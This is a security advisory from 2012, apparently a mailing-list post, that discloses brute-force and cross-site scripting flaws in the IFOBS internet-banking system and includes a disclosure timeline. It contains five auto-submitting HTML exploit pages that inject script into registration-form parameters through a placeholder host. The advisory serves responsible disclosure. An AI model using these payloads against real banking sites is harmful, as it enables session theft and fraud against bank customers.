Hello 3APA3A!
I want to warn you about Brute Force and Cross-Site Scripting vulnerabilities in system IFOBS.
IFOBS - it's Internet-banking system, which is widespread and particularly it's used by large number of Ukrainian banks.
These are the first 38 vulnerabilities in IFOBS: 2 BF and 36 XSS.
Vulnerable are all versions of IFOBS. The developers have ignored and not fixed these vulnerabilities (all holes from three advisories).
Brute Force (WASC-11):
In login form http://site/ifobsClient/loginlite.jsp there is no protection against picking up password (captcha).
In login form http://site/ifobsClient/loginsecurity.jsp there is no protection against picking up password (captcha).
Cross-Site Scripting (WASC-08):
POST request at page http://site/ifobsClient/regclientprint.jsp in parameters: secondName, firstName, thirdName, BirthDay, BirthMonth, BirthYear, address, livePlace, nationality, passportSerial, passportNumber, passportIssueAgency, PassportDay, PassportMonth, PassportYear, tempDocSerial, tempDocNumber, DocDay, DocMonth, DocYear, idCodeNumber, idCodeRegPlace, CodeRegDay, CodeRegMonth, CodeRegYear, phone, email, pmcountry, pmnumber, keyword, bankOblastSelect, bankCitySelect, bankRegionSelect, bankDepSelect, bankAddress, bankContacts.
Exploits for the first five vulnerabilities (in parameters secondName, firstName, thirdName, BirthDay, BirthMonth):
IFOBS XSS-1.html
<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post">
<input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>
IFOBS XSS-2.html
<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post">
<input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>
IFOBS XSS-3.html
<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post">
<input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>
IFOBS XSS-4.html
<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post">
<input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="BirthYear" value="2012">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>
IFOBS XSS-5.html
<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientprint.jsp" method="post">
<input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="BirthYear" value="2012">
<input type="hidden" name="myaction" value="1">
</form>
</body>
</html>
2012.05.04 - found vulnerabilities during pentest. After I've informed my client, he could inform the developers.
2012.05.29 - announced at my site.
2012.06.01 - informed the developers about vulnerabilities (the first advisory).
2012.06.01 - informed the developers about vulnerabilities (the second advisory).
2012.06.02 - informed the developers about vulnerabilities (the third advisory).
2012.09.14 - disclosed at my site (http://websecurity.com.ua/5852/).
Best wishes & regards,
Eugene Dokukin aka MustLive
Administrator of Websecurity web site
http://websecurity.com.ua